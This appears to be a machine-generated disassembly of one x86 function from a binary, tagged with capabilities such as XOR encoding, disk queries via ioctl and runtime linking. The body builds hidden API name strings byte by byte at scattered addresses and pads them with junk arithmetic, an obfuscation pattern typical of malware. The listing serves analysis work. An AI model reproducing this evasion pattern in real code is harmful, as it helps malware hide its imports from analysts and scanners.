Function at 0x1001b3b0
Capabilities:
Encode data using xor
Get disk information via ioctl
Link many functions at runtime

Disassembly:
sub esp, 0x444
mov eax, dword [0x10103e64]
mov ecx, eax
imul ecx, dword [0x10105ab8]
push ebx
push ebp
push esi
and eax, ecx
push edi
mov byte [0x10107f8c], 0x54
mov byte [0x10107746], 0
mov byte [0x1010791e], 0x73
mov byte [0x10107d0c], 0x61
mov byte [0x101074aa], 0x50
mov byte [0x101075a9], 0x61
mov byte [0x10107d3e], 0x6c
mov byte [0x10107c24], 0x61
mov byte [0x10107518], 0x6c
mov byte [0x101079ca], 0x69
mov byte [0x10107e2e], 0
mov byte [0x10107c21], 0x65
mov byte [0x10107732], 0x4c
mov byte [0x10107ebf], 0x54
mov byte [0x10107c87], 0x74
mov byte [0x10107a1d], 0x6e
mov byte [0x101075e8], 0x6e
mov byte [0x10107cac], 0x64
mov byte [0x1010762c], 0x74
mov byte [0x10107e85], 0x65
mov byte [0x101073f6], 0
mov byte [0x101074d8], 0x74
mov byte [0x101077de], 0x53
mov byte [0x10107f5c], 0x49
mov byte [0x1010739d], 0x4f
mov byte [0x101079ea], 0x70
mov byte [0x101078e9], 0x57
mov byte [0x10107ada], 0x65
mov byte [0x10107cc2], 0x68
mov byte [0x101074b6], 0x7a
mov byte [0x10107abc], 0x6e
mov byte [0x101075d8], 0x46
mov byte [0x10107777], 0x67
mov byte [0x10107e68], 0x43
mov byte [0x10107f25], 0x6c
mov byte [0x1010769d], 0x72
mov byte [0x1010759e], 0x46
mov byte [0x101077be], 0x4d
mov byte [0x10107a44], 0x65
mov byte [0x10107ab8], 0x76
mov byte [0x10107a5b], 0x70
mov byte [0x10107585], 0x4d
mov byte [0x10107d6c], 0x6e
mov byte [0x10107a36], 0
mov byte [0x10107941], 0x6e
mov byte [0x10107f41], 0x53
mov byte [0x101079bd], 0x63
mov byte [0x1010761f], 0x73
mov byte [0x101076e0], 0x72
mov byte [0x1010784a], 0x63
mov byte [0x10107377], 0x72
mov byte [0x10107c02], 0x67
mov byte [0x10107915], 0x65
mov byte [0x1010750a], 0x69
mov byte [0x10107699], 0x64
mov byte [0x101076a1], 0x41
mov byte [0x101077c5], 0x65
mov byte [0x10107704], 0x41
mov byte [0x101074c4], 0
mov byte [0x10107af6], 0x43
mov byte [0x10107ee6], 0x78
mov byte [0x10107e2d], 0x41
mov byte [0x10108006], 0
mov byte [0x10107567], 0x65
mov byte [0x101075bf], 0x54
mov byte [0x10107aa3], 0x72
mov edx, eax
mov byte [0x10107f42], 0x65
mov byte [0x1010755f], 0x65
mov byte [0x10107716], 0x65
mov byte [0x10107fb8], 0x52
mov byte [0x10107989], 0x75
mov byte [0x101078b0], 0
mov esi, dword [0x10103e60]
mov byte [0x10107dd9], 0x41
mov byte [0x10107379], 0x57
mov byte [0x101073f5], 0x57
mov byte [0x10107648], 0x44
mov byte [0x101074de], 0
mov byte [0x10107883], 0x68
mov byte [0x10107840], 0
mov byte [0x101075df], 0x74
mov byte [0x10107cbb], 0x6f
mov byte [0x10107e3f], 0x4f
mov byte [0x10107743], 0x69
mov byte [0x101075cd], 0x46
mov byte [0x10107d22], 0x47
mov byte [0x1010786e], 0x42
mov byte [0x10107700], 0x74
mov byte [0x101074ea], 0x6e
mov byte [0x10107af1], 0x6e
mov byte [0x10107519], 0x6c
mov byte [0x1010773b], 0x69
mov byte [0x10107535], 0x65
mov byte [0x10107b6f], 0
mov byte [0x1010765e], 0
mov byte [0x10107ef3], 0x46
mov byte [0x101079ac], 0x48
mov byte [0x1010796a], 0
and esi, 0x8644bc64
mov byte [0x10107a6b], 0x6f
mov byte [0x10107e46], 0x76
mov byte [0x10107bfb], 0x69
mov byte [0x101073f9], 0x44
mov byte [0x10107483], 0x6f
mov byte [0x10107ded], 0x51
mov byte [0x101075fa], 0x68
mov byte [0x101074da], 0x72
mov byte [0x10107752], 0x72
mov byte [0x101075bc], 0x47
mov byte [0x101073e5], 0x6e
mov byte [0x10107d1b], 0x74
mov byte [0x1010745b], 0x63
mov byte [0x10107965], 0x73
mov byte [0x10107d09], 0x43
mov byte [0x10107825], 0x74
mov byte [0x10107e06], 0x78
mov byte [0x10107a0d], 0x72
mov byte [0x10107596], 0x61
mov byte [0x101073c2], 0x74
mov byte [0x10107d67], 0x62
mov byte [0x1010754a], 0x4d
mov byte [0x10107fd1], 0x32
mov byte [0x10107968], 0x65
mov byte [0x101078ac], 0x61
mov byte [0x10107f99], 0x64
mov byte [0x10107577], 0x65
mov byte [0x10107f08], 0x69
mov byte [0x10107c9e], 0x77
mov byte [0x101077dc], 0x6f
mov byte [0x10107685], 0x52
mov byte [0x101074eb], 0x64
mov byte [0x10107d70], 0x65
mov byte [0x10107ce7], 0x41
mov byte [0x101076b0], 0x73
mov byte [0x10107561], 0x69
mov byte [0x10107653], 0x43
mov byte [0x10107cee], 0x73
mov byte [0x10107609], 0x50
mov byte [0x10107422], 0x72
mov byte [0x1010739a], 0x6e
mov byte [0x10107f02], 0x6c
mov byte [0x101075b1], 0x74
mov byte [0x10107340], 0x65
mov byte [0x10107902], 0x50
mov byte [0x10107858], 0x6f
mov byte [0x10107bd5], 0x65
mov byte [0x101075bd], 0x65
mov byte [0x101079db], 0x65
mov byte [0x10107b18], 0x6e
mov byte [0x101079dc], 0x41
mov byte [0x10107ad5], 0x70
mov byte [0x101077a3], 0
mov byte [0x101079b7], 0x61
and eax, 0xe7770d50
mov byte [0x10107db5], 0x6a
mov byte [0x10107a32], 0x74
mov byte [0x1010780b], 0x70
mov byte [0x101076d0], 0x61
mov byte [0x10107791], 0x47
mov byte [0x1010780d], 0x69
mov byte [0x101076bc], 0x79
mov byte [0x10107dc7], 0x78
mov byte [0x10107ecb], 0x67
mov byte [0x10107ce4], 0x73
and ecx, eax
mov byte [0x10107b57], 0x61
mov byte [0x10107d02], 0x77
mov byte [0x10107ef0], 0x47
mov byte [0x10107fd9], 0x45
mov byte [0x10107e01], 0x6d
mov byte [0x10107ebd], 0x73
mov byte [0x10107ba2], 0x65
mov byte [0x10107e84], 0x70
mov byte [0x10107e4c], 0x43
mov byte [0x101079a1], 0x65
mov byte [0x10107d84], 0x50
mov byte [0x10107c88], 0x57
mov byte [0x10107db8], 0x74
mov byte [0x1010792c], 0x64
mov byte [0x101078df], 0x6d
mov byte [0x10107e3d], 0x41
mov byte [0x101075c3], 0x43
mov byte [0x10107ec3], 0x6e
mov byte [0x10107b92], 0x65
mov byte [0x101074ee], 0x41
mov byte [0x10107c0f], 0x65
mov byte [0x10107553], 0x65
mov byte [0x10107621], 0x32
mov byte [0x101079b0], 0x46
mov byte [0x10107ced], 0x79
mov byte [0x10107789], 0x74
mov byte [0x10107ee7], 0x65
mov byte [0x1010737c], 0x6e
mov byte [0x10107cc6], 0x69
mov byte [0x10107c05], 0x50
mov byte [0x10107a2a], 0x74
mov byte [0x10107c6b], 0x73
mov byte [0x101075c6], 0x6e
mov byte [0x1010761d], 0x65
mov byte [0x10107eb3], 0x61
mov byte [0x10107fdf], 0x64
mov byte [0x10107ea8], 0x70
mov byte [0x10107b27], 0x46
mov byte [0x10107917], 0x74
mov byte [0x101073c6], 0x74
mov byte [0x10107dee], 0x75
mov byte [0x101079c8], 0x64
mov byte [0x10107a43], 0x53
mov byte [0x10107d73], 0x47
mov byte [0x10107c7e], 0x75
mov byte [0x10107b03], 0x72
mov byte [0x10107a6e], 0x44
mov byte [0x10107a1c], 0x75
mov byte [0x1010783f], 0x57
mov byte [0x1010750b], 0x74
mov byte [0x10107e8b], 0x6e
mov byte [0x10107e25], 0x65
mov byte [0x1010790b], 0x65
mov byte [0x10107b6e], 0x41
mov byte [0x10107e60], 0x65
mov byte [0x10107526], 0x65
mov byte [0x10107f7f], 0x57
mov byte [0x10107ad3], 0x54
mov byte [0x10107a67], 0x70
mov byte [0x10107f61], 0x6e
mov byte [0x1010771e], 0x50
mov byte [0x10107d9c], 0x44
mov byte [0x10107e26], 0x6c
mov byte [0x10107d2a], 0x77
mov byte [0x10107a22], 0x45
mov byte [0x10107c46], 0x67
mov byte [0x10107e5b], 0x43
mov byte [0x101073ad], 0x6e
mov byte [0x10107936], 0x46
mov ebx, 0x2a3c2f9a
mov eax, esi
and eax, ebx
mov byte [0x10107378], 0x6c
mov byte [0x10107c0c], 0x73
mov byte [0x10107594], 0x6e
mov byte [0x101074fa], 0x67
mov byte [0x10107cb0], 0x64
mov byte [0x101074cd], 0x6c
mov byte [0x10107369], 0x49
mov byte [0x10107888], 0x65
mov byte [0x10107f1e], 0x6e
mov byte [0x10107f19], 0x72
mov byte [0x10107954], 0x72
mov byte [0x10107830], 0x69
mov byte [0x10107df5], 0x6f
mov byte [0x10107772], 0x61
mov byte [0x101078be], 0x63
mov byte [0x101076b3], 0x72
mov byte [0x10107690], 0x74
mov byte [0x10107dfe], 0x45
mov byte [0x10107eb9], 0x41
mov byte [0x10107eae], 0x6c
mov byte [0x10107a57], 0x6c
mov byte [0x10107e0e], 0x65
mov byte [0x101078c7], 0x61
mov byte [0x10107b65], 0x6e
mov byte [0x10107501], 0x41
mov byte [0x10107adb], 0x74
mov byte [0x10107a7d], 0x65
mov byte [0x10107e00], 0x75
mov byte [0x10107a8b], 0x69
mov byte [0x10107c32], 0x53
mov byte [0x10107fde], 0x2e
mov byte [0x1010770e], 0x72
mov byte [0x10107c1d], 0x64
mov byte [0x10107397], 0x74
mov byte [0x101074e8], 0x48
mov byte [0x10107521], 0x72
mov byte [0x10107c48], 0x42
mov byte [0x10107814], 0x57
mov byte [0x10107ff1], 0x55
mov byte [0x10107dbf], 0x65
mov byte [0x10107fd5], 0x6c
mov byte [0x10107da1], 0x6e
mov byte [0x1010774a], 0x74
mov byte [0x10107f71], 0x49
mov byte [0x10107817], 0x6f
mov byte [0x10107462], 0x64
mov byte [0x101073d1], 0x65
mov byte [0x10107c0b], 0x73
mov byte [0x10107ed3], 0x74
mov byte [0x10107f35], 0x6c
sub ebx, eax
mov byte [0x10107a09], 0
mov byte [0x10107468], 0x6f
mov byte [0x101075f1], 0x72
mov byte [0x10107d8b], 0x53
mov byte [0x1010791b], 0x69
mov byte [0x10107dc0], 0x61
mov byte [0x1010739f], 0x65
mov byte [0x10107973], 0x6c
mov byte [0x10107f4e], 0x62
mov byte [0x101075d0], 0x73
mov byte [0x10107be8], 0
mov byte [0x10107d8d], 0x74
mov byte [0x10107a5f], 0x65
mov byte [0x10107de7], 0x78
mov byte [0x10107d23], 0x65
mov byte [0x1010760c], 0x63
mov byte [0x10107568], 0x74
mov byte [0x10107a03], 0x61
mov byte [0x10107990], 0x6f
mov byte [0x101073ab], 0x43
mov byte [0x10107e1e], 0x65
mov byte [0x10107445], 0x41
mov byte [0x10107d96], 0x49
mov byte [0x10107624], 0x78
mov byte [0x10107bae], 0x6f
mov byte [0x10107efe], 0
mov byte [0x10107d1f], 0x65
mov eax, ecx
xor eax, 0x88480090
add eax, ecx
add eax, edx
imul eax, eax, 0x88480090
mov ecx, esi
and ecx, dword [0x101062e4]
or eax, 0x1f046f92
mov byte [0x10107988], 0x6c
mov byte [0x101076e3], 0x6f
mov byte [0x101075ff], 0x32
mov byte [0x10107d5a], 0x79
mov byte [0x10107f56], 0x43
mov byte [0x101077ab], 0x72
mov byte [0x10107dc8], 0x41
mov byte [0x10107e35], 0x65
mov byte [0x10107538], 0x6f
mov byte [0x101078f6], 0x65
mov byte [0x1010746e], 0x74
mov byte [0x10107cf1], 0x6d
mov byte [0x10107971], 0x56
mov byte [0x101077ed], 0x6c
mov byte [0x101076a0], 0x79
mov byte [0x10107687], 0x6d
mov byte [0x10107872], 0
mov byte [0x10107c5d], 0x63
mov byte [0x10107cb1], 0x6f
mov byte [0x10107330], 0x68
mov byte [0x10107680], 0x6f
mov byte [0x1010793e], 0x6e
mov byte [0x10107b91], 0x74
mov byte [0x10107358], 0x74
mov byte [0x10107d65], 0x6e
mov byte [0x10107ae0], 0x6e
mov byte [0x10107b00], 0x57
mov byte [0x10107c82], 0x6e
mov byte [0x10107a3a], 0x74
mov byte [0x10107747], 0x49
mov byte [0x1010777f], 0x73
mov byte [0x10107d24], 0x74
mov byte [0x1010793a], 0x65
mov byte [0x101079ff], 0x69
mov byte [0x10107d7d], 0x65
mov byte [0x10107604], 0x73
mov byte [0x10107d6a], 0x4d
mov byte [0x101074d5], 0x4c
mov byte [0x101075d9], 0x69
mov byte [0x1010772c], 0x53
mov byte [0x1010735a], 0x72
mov byte [0x10107c15], 0x69
mov byte [0x10107427], 0x72
mov byte [0x10107f29], 0x49
mov byte [0x10107e54], 0x65
mov byte [0x1010764c], 0x63
mov byte [0x10107b31], 0x45
mov byte [0x1010794d], 0x6f
mov byte [0x10107c9f], 0
mov byte [0x10107b2b], 0x57
mov byte [0x1010740f], 0x67
mov byte [0x101073b9], 0x70
mov byte [0x10107744], 0x6f
mov byte [0x10107418], 0x65
mov byte [0x10107905], 0x73
mov byte [0x10107a90], 0x65
mov byte [0x1010780f], 0x65
mov byte [0x10107e86], 0x6e
mov byte [0x101076c8], 0x73
mov byte [0x1010749a], 0x45
mov byte [0x1010759b], 0x77
mov byte [0x10107a5d], 0
mov byte [0x1010758d], 0x66
mov byte [0x10107e95], 0x6e
mov byte [0x1010787a], 0x74
mov byte [0x10107405], 0x75
mov byte [0x10107583], 0x41
mov byte [0x1010744b], 0x69
mov byte [0x10107334], 0x6c
sub ecx, 0x2355651d
mov byte [0x10107ec0], 0x6f
mov byte [0x10107f17], 0x53
mov byte [0x10107b8f], 0x65
mov byte [0x10107336], 0x41
mov byte [0x10107697], 0x6f
mov byte [0x10107d75], 0x74
mov byte [0x10107400], 0x65
mov byte [0x1010797a], 0x41
mov byte [0x10107362], 0x65
mov byte [0x1010763f], 0x47
mov byte [0x101076db], 0x47
mov byte [0x101077e3], 0x65
mov byte [0x10107ae7], 0
mov byte [0x1010764b], 0x65
mov byte [0x10107d20], 0x72
mov byte [0x101078d3], 0x6e
mov byte [0x101076f8], 0x73
mov byte [0x10107c12], 0x52
mov byte [0x10107803], 0x57
mov byte [0x10107de0], 0x74
mov byte [0x10107ba1], 0x63
mov byte [0x10107a73], 0x65
mov byte [0x10107a84], 0x46
mov byte [0x10107b84], 0x65
mov byte [0x1010749c], 0x43
mov byte [0x1010758b], 0x77
mov byte [0x10107920], 0
mov byte [0x10107d2e], 0x67
mov byte [0x10107592], 0
mov byte [0x10107712], 0x6c
mov byte [0x10107a6c], 0x41
mov byte [0x10107f90], 0x6c
mov byte [0x10107486], 0x49
mov byte [0x10107fd4], 0x6c
mov byte [0x10107c61], 0x70
mov byte [0x10107611], 0x32
mov byte [0x10107e23], 0x67
mov byte [0x10107ad0], 0x69
mov byte [0x10107e45], 0x72
mov byte [0x10107b54], 0x68
mov byte [0x10107841], 0x43
mov byte [0x10107f1a], 0x65
mov byte [0x101076e4], 0x6e
mov byte [0x10107ca2], 0x74
mov byte [0x10107b43], 0x57
mov byte [0x10107602], 0x61
mov byte [0x10107c69], 0x49
mov byte [0x101074dc], 0x6f
mov byte [0x10107aa4], 0x6f
mov byte [0x10107346], 0x65
mov byte [0x1010771f], 0x72
mov byte [0x10107655], 0x65
mov byte [0x1010738d], 0x65
mov byte [0x10107a3c], 0x72
mov byte [0x101079bc], 0x6f
mov byte [0x10107f31], 0x7a
mov byte [0x10107649], 0x69
mov byte [0x10107c03], 0x65
mov byte [0x10107831], 0x6e
or eax, 0x47534c51
mov byte [0x10107d04], 0x6f
mov byte [0x1010752a], 0x63
mov byte [0x10107f4d], 0x4f
mov byte [0x10107b2f], 0x6f
mov byte [0x10107832], 0x64
mov byte [0x10107a1e], 0x74
mov byte [0x101077c1], 0x65
mov byte [0x1010771a], 0x52
mov byte [0x10107e52], 0x6c
mov byte [0x10107a2c], 0x63
mov byte [0x10107e92], 0x4f
mov byte [0x10107930], 0x65
mov byte [0x10107fe5], 0x65
mov byte [0x10107b63], 0x53
mov byte [0x10108005], 0x6c
mov byte [0x10107aed], 0x53
mov byte [0x10107564], 0x57
mov byte [0x10107f4a], 0x6e
mov byte [0x10107662], 0x57
mov byte [0x10107e93], 0x70
mov byte [0x10107c8c], 0x6f
mov byte [0x101079fa], 0x72
mov byte [0x10107d31], 0x44
mov byte [0x10107bad], 0x63
mov edx, ebx
and edx, 0x278a49f6
or edx, esi
imul edx, edx, 0x4acd3739
lea edi, [eax + eax]
add edx, 0xdce45e7
imul eax, edi
mov byte [0x10107eff], 0x53
mov byte [0x10107c5f], 0x50
mov byte [0x10107992], 0x75
mov byte [0x1010732d], 0x43
mov byte [0x10107511], 0x47
mov byte [0x10107560], 0x46
mov byte [0x10107ca9], 0x6f
mov byte [0x10107347], 0x61
mov byte [0x10107327], 0x6c
mov byte [0x10107cf0], 0x65
mov byte [0x10107545], 0x74
mov byte [0x10107406], 0x69
mov byte [0x1010751f], 0x74
mov byte [0x10107a01], 0x74
mov byte [0x1010756b], 0x6c
mov byte [0x101075b0], 0x65
mov byte [0x101075f8], 0x6f
mov byte [0x10107cd4], 0x43
mov byte [0x10107d72], 0
mov byte [0x101074e4], 0x64
mov byte [0x10107a19], 0x65
mov byte [0x101074ca], 0x61
mov byte [0x10107edf], 0
mov byte [0x10107758], 0x6c
mov byte [0x1010798b], 0
mov dword [0x10105368], eax
mov byte [0x10107eed], 0
mov byte [0x1010752f], 0x6e
mov byte [0x10107b14], 0x63
mov byte [0x10107a93], 0x53
mov byte [0x101073ba], 0x65
mov byte [0x10107694], 0x41
mov byte [0x101078d4], 0x66
mov byte [0x101078bc], 0x72
mov byte [0x1010747f], 0x65
mov byte [0x101076f5], 0x6f
mov byte [0x10107c16], 0x73
mov byte [0x101074c0], 0x6c
mov byte [0x10107e97], 0x72
mov byte [0x101075de], 0x78
mov byte [0x10107e14], 0
mov byte [0x10107f40], 0x65
mov byte [0x10107938], 0x6c
mov byte [0x10107c94], 0x6e
mov byte [0x10107ffb], 0x65
mov byte [0x10107cf6], 0x69
mov byte [0x1010775f], 0x6e
mov byte [0x10107a5c], 0x65
mov byte [0x101077d1], 0x75
mov byte [0x10107402], 0x41
mov byte [0x10107986], 0x56
mov byte [0x10107452], 0x72
mov byte [0x10107850], 0x43
mov byte [0x10107f80], 0x41
mov byte [0x10107ef5], 0x6c
mov byte [0x10107417], 0x72
mov byte [0x1010736f], 0x65
mov byte [0x1010771d], 0x64
mov byte [0x10107458], 0x6c
mov byte [0x1010732b], 0x54
mov byte [0x10107bcd], 0
mov byte [0x10107a26], 0x72
mov byte [0x10107ad9], 0x47
mov byte [0x10107f82], 0x49
mov byte [0x101074a6], 0x47
mov byte [0x10107515], 0x61
mov byte [0x10107ac0], 0x74
mov byte [0x10107e80], 0x6c
mov byte [0x10107429], 0x65
mov byte [0x10107672], 0x41
mov byte [0x10107f06], 0x6f
mov byte [0x10107e73], 0x73
mov byte [0x10107ba9], 0x6b
mov byte [0x10107813], 0x65
and ecx, 0xad5db4e8
xor ecx, 0x841c3000
mov edi, 0x32957992
sub edi, ecx
mov eax, edi
and eax, ebx
xor esi, esi
mov byte [0x101074e9], 0x61
mov byte [0x10107440], 0x53
mov byte [0x10107d4f], 0x57
mov byte [0x1010755e], 0x74
mov byte [0x10107bc4], 0x73
mov byte [0x10107e2c], 0x79
mov byte [0x10107eb4], 0x6c
mov byte [0x10107ae2], 0x54
mov byte [0x10107ce5], 0x6f
mov byte [0x10107b4e], 0x69
mov byte [0x101074a1], 0x74
mov byte [0x10107e7a], 0x63
mov byte [0x10107679], 0x65
mov byte [0x101073a6], 0x65
mov byte [0x10107f8e], 0x2e
mov byte [0x10107ea6], 0x6b
mov byte [0x101076d2], 0x65
mov byte [0x10107580], 0x69
mov byte [0x10107863], 0x43
mov byte [0x101077a2], 0x64
mov byte [0x10107f5e], 0x73
mov byte [0x10107987], 0x61
mov byte [0x10107a9e], 0x74
mov byte [0x10107849], 0x6f
and edx, eax
mov byte [0x10107cd7], 0x73
mov byte [0x10107df4], 0x66
mov byte [0x10107ed4], 0x46
mov byte [0x101073a8], 0x6e
mov byte [0x10107f43], 0x74
mov byte [0x10107880], 0x64
mov byte [0x10107a1f], 0x65
mov byte [0x10107a11], 0x72
mov byte [0x10107516], 0x6c
mov byte [0x101078cf], 0x74
mov byte [0x10107f54], 0x43
mov byte [0x10107556], 0x6d
mov byte [0x10107815], 0
mov byte [0x10107c79], 0x74
mov byte [0x101079ef], 0x74
mov byte [0x10107ee4], 0x6c
mov byte [0x101076ef], 0x72
mov byte [0x101078c0], 0x73
mov byte [0x10107f64], 0
mov byte [0x101076dd], 0x74
mov byte [0x10107acf], 0x72
mov byte [0x101074c2], 0x6f
mov byte [0x1010739c], 0x74
mov byte [0x10107835], 0x73
mov byte [0x101077d2], 0x74
mov byte [0x101076c2], 0x50
mov byte [0x10107ea2], 0
mov byte [0x10107b40], 0
mov byte [0x10107b20], 0x6c
mov byte [0x10107ebc], 0x75
mov byte [0x10107ecf], 0x53
mov byte [0x10107cf5], 0x72
mov byte [0x10107907], 0x6e
mov byte [0x10107d97], 0x6e
mov byte [0x10107375], 0x6b
mov byte [0x10107914], 0x6d
mov byte [0x10107908], 0x74
mov byte [0x10107b25], 0x79
mov byte [0x10107a7c], 0x53
mov byte [0x10107db0], 0x6f
mov byte [0x10107cd8], 0x73
mov byte [0x10107ca7], 0x67
mov byte [0x10107384], 0x65
mov byte [0x101079cf], 0x47
mov byte [0x10107fff], 0x6c
mov byte [0x1010760f], 0x73
mov byte [0x101079d9], 0x69
mov byte [0x1010779a], 0x74
mov byte [0x10107551], 0x69
mov eax, esi
and eax, esi
add eax, 0xd66ea26
and eax, esi
add edx, edi
mov byte [0x10107878], 0x42
mov byte [0x10107d87], 0x65
mov byte [0x10107396], 0x6e
mov byte [0x1010765f], 0x47
mov byte [0x10107fa2], 0x32
mov byte [0x10107af3], 0x41
mov byte [0x10107572], 0x43
mov byte [0x101076c0], 0x65
mov byte [0x10107a2f], 0x53
mov byte [0x101075a8], 0x48
mov byte [0x10107c09], 0x4d
mov byte [0x10107ad2], 0x67
mov byte [0x10107aaa], 0x53
mov byte [0x10107d7f], 0x74
mov byte [0x10107c60], 0x6f
mov byte [0x10107d76], 0x43
mov byte [0x101073ec], 0x74
mov byte [0x10107d33], 0x73
mov byte [0x10107738], 0x72
mov byte [0x10107d2d], 0x6e
mov byte [0x101078a0], 0x47
mov byte [0x101074af], 0
mov byte [0x10107b19], 0
mov byte [0x1010758e], 0x46
mov byte [0x10107d6b], 0x65
mov byte [0x101075c0], 0x69
mov byte [0x101074cf], 0x6f
mov byte [0x10107b2e], 0x64
mov byte [0x1010785e], 0
mov byte [0x10107f37], 0x43
mov byte [0x101079e8], 0x65
mov byte [0x10107790], 0
mov byte [0x101074fc], 0x74
mov byte [0x10107cf4], 0x74
mov byte [0x10107623], 0x65
mov byte [0x10107c3f], 0x57
mov byte [0x1010797c], 0x6c
mov byte [0x10107c2f], 0x75
mov byte [0x10107787], 0x75
mov byte [0x10107bcf], 0x69
mov byte [0x101077c0], 0x76
mov byte [0x10107f8b], 0x52
mov byte [0x10107be6], 0x65
mov byte [0x10107f5b], 0x65
mov byte [0x1010748f], 0x64
mov byte [0x1010785b], 0x73
mov byte [0x10107ae1], 0x67
mov byte [0x101078c9], 0x69
mov byte [0x10107d06], 0x67
mov byte [0x1010758c], 0x4f
mov byte [0x1010732e], 0x61
mov byte [0x101076e9], 0x47
mov byte [0x10107ff3], 0x33
mov byte [0x10107782], 0x6d
mov byte [0x10107f67], 0x6c
mov byte [0x101077a0], 0x64
mov ebx, eax
mov byte [0x10107f6f], 0
mov byte [0x10107f7d], 0x48
mov byte [0x10107d1e], 0x6d
mov byte [0x10107d39], 0x63
mov byte [0x10107bfc], 0x74
mov byte [0x10107fcf], 0x49
mov byte [0x10107a80], 0x69
mov byte [0x101075ac], 0x6c
mov byte [0x10107507], 0x64
mov byte [0x101074d9], 0x45
mov byte [0x10107d9e], 0x66
add edx, edx
mov byte [0x1010768c], 0x69
mov byte [0x10107394], 0
mov byte [0x10107a81], 0x6f
mov byte [0x10107e34], 0x6c
mov byte [0x10107869], 0x4d
mov byte [0x1010772a], 0x79
mov byte [0x10107ca3], 0x46
xor ecx, ecx
imul ecx, ecx
mov eax, esi
sub eax, ebx
add ebx, eax
mov eax, esi
or eax, 0x46ecf16e
mov edi, edx
and eax, esi
xor edi, 0xb8c865f
and eax, ecx
imul edi, edi, 0x1a49e0f8
mov byte [0x101073b1], 0x74
mov byte [0x10107a7a], 0x61
mov byte [0x10107c53], 0x73
mov byte [0x10107702], 0x61
mov byte [0x10107dce], 0x75
mov byte [0x10107a74], 0x43
mov byte [0x10107f15], 0x74
mov byte [0x10107c37], 0x6e
mov byte [0x10107a06], 0x72
mov byte [0x101079fd], 0
mov byte [0x10107ed9], 0x72
mov byte [0x10107d66], 0x61
mov byte [0x10107ba8], 0x6f
mov byte [0x10107be5], 0x67
mov byte [0x10107e83], 0x4f
mov byte [0x10107896], 0x54
mov byte [0x10107d71], 0x6d
mov byte [0x101078fe], 0x67
mov byte [0x1010791c], 0x6e
mov byte [0x101075f7], 0x6f
mov byte [0x10107f1b], 0x61
mov byte [0x1010771b], 0x65
mov byte [0x10107ee2], 0x65
mov byte [0x101074f0], 0x4f
mov byte [0x10107707], 0x6f
mov byte [0x10107c42], 0x65
mov byte [0x10107708], 0x63
mov byte [0x10107fdb], 0x4c
mov byte [0x10107357], 0x6e
mov byte [0x101078cc], 0x53
mov byte [0x10107dcd], 0x51
mov byte [0x10107ed6], 0x6c
mov byte [0x101073ee], 0x43
mov byte [0x10107911], 0x72
mov byte [0x1010751d], 0x49
mov byte [0x1010774e], 0x69
mov byte [0x1010767c], 0x72
mov byte [0x10107e59], 0x65
mov byte [0x10107b64], 0x65
mov byte [0x1010760e], 0x73
mov byte [0x10107867], 0x54
mov byte [0x101073e8], 0x65
mov byte [0x10107ead], 0x69
mov byte [0x101078b3], 0x74
mov byte [0x10107bd2], 0x54
mov byte [0x1010795d], 0x45
mov byte [0x10107d19], 0x53
mov byte [0x10107ef2], 0x74
mov byte [0x10107860], 0x69
mov byte [0x10107537], 0x6c
mov byte [0x10107650], 0x79
mov byte [0x10107e3b], 0x75
mov byte [0x101078c2], 0
mov byte [0x10107c38], 0x64
mov byte [0x10107c8e], 0x52
mov byte [0x1010755a], 0x43
mov byte [0x10107544], 0x6e
mov byte [0x10107cad], 0x57
mov byte [0x10107ce3], 0x72
mov byte [0x10107a7b], 0x6c
mov byte [0x10107797], 0x72
mov byte [0x1010760d], 0x65
mov byte [0x10107fdc], 0x33
mov byte [0x10107e3a], 0x6c
mov byte [0x10107cc1], 0x53
mov byte [0x10107f3a], 0x61
mov ebp, edi
mov byte [0x1010767f], 0x74
mov byte [0x10107f73], 0x49
mov esi, ecx
sub esi, eax
imul esi, ecx
mov edi, esi
xor eax, ebx
mov byte [0x10107bdc], 0x61
mov byte [0x10107bb5], 0x6d
mov byte [0x10107643], 0x79
mov byte [0x10107725], 0x4d
mov byte [0x10107c75], 0x43
mov byte [0x10107c68], 0
mov byte [0x10107bbc], 0x6f
mov byte [0x10107c8f], 0x65
mov byte [0x10107e90], 0x41
mov byte [0x10107871], 0x65
mov byte [0x10107940], 0x61
mov byte [0x10107e6a], 0x6e
mov byte [0x10107e75], 0x53
mov byte [0x10107f85], 0x6c
mov byte [0x10107409], 0x6f
mov byte [0x10107a9a], 0x41
mov byte [0x10107b5d], 0x65
mov byte [0x10107e36], 0x74
mov byte [0x10107cfa], 0x53
mov byte [0x101074b2], 0x61
mov byte [0x1010747c], 0x63
mov byte [0x101075ba], 0x65
mov byte [0x10107f91], 0x6c
mov byte [0x10107da3], 0x6f
mov byte [0x10107683], 0x41
mov byte [0x10107428], 0x65
mov byte [0x10107352], 0x64
mov byte [0x10107f36], 0x65
mov byte [0x10107c3d], 0x78
mov byte [0x10107719], 0
mov byte [0x10107595], 0x6d
mov byte [0x1010772e], 0x65
mov byte [0x10107c0a], 0x65
mov byte [0x10107b2c], 0x69
mov byte [0x10107e87], 0x53
mov byte [0x10107b16], 0x69
mov byte [0x10107a45], 0x74
mov byte [0x101073b7], 0x70
mov byte [0x10107c2e], 0x63
mov byte [0x10107ce1], 0x43
mov byte [0x10107770], 0x49
mov byte [0x1010735c], 0x65
mov byte [0x10107e43], 0x53
mov byte [0x10107972], 0x61
mov byte [0x10107c49], 0x6f
mov byte [0x101079c3], 0x6f
mov byte [0x10107b2a], 0x64
mov byte [0x101077c7], 0x78
mov byte [0x1010778e], 0x49
mov byte [0x10107852], 0x65
mov byte [0x101077b7], 0x79
mov byte [0x10107574], 0x65
mov byte [0x10107f83], 0x2e
mov byte [0x10107fa1], 0x33
mov byte [0x10107c50], 0x43
mov byte [0x101076d6], 0x63
mov byte [0x10107b3b], 0x6e
mov byte [0x10107ee3], 0x6c
mov byte [0x10107478], 0x65
mov byte [0x10107f3c], 0x65
mov byte [0x10107e3c], 0x65
mov byte [0x10107dad], 0x74
mov byte [0x1010779b], 0x54
mov byte [0x10107839], 0x65
and eax, edi
mov byte [0x101075f3], 0x61
mov byte [0x1010742d], 0x75
mov byte [0x10107689], 0x76
mov byte [0x10107d69], 0x65
mov byte [0x10107e1c], 0x65
mov byte [0x10107b9a], 0x6d
mov byte [0x10107fcb], 0x44
mov byte [0x101079b3], 0x65
mov byte [0x10107e88], 0x43
mov byte [0x1010799a], 0x65
mov byte [0x10107c52], 0x72
mov esi, 0xfd466657
mov ebx, ebp
sub esi, eax
and ebx, edx
mov byte [0x10107701], 0x75
mov byte [0x10107cb4], 0x53
mov byte [0x101074c3], 0x63
mov byte [0x10107413], 0x75
mov byte [0x10107b23], 0x65
mov byte [0x1010747e], 0x6c
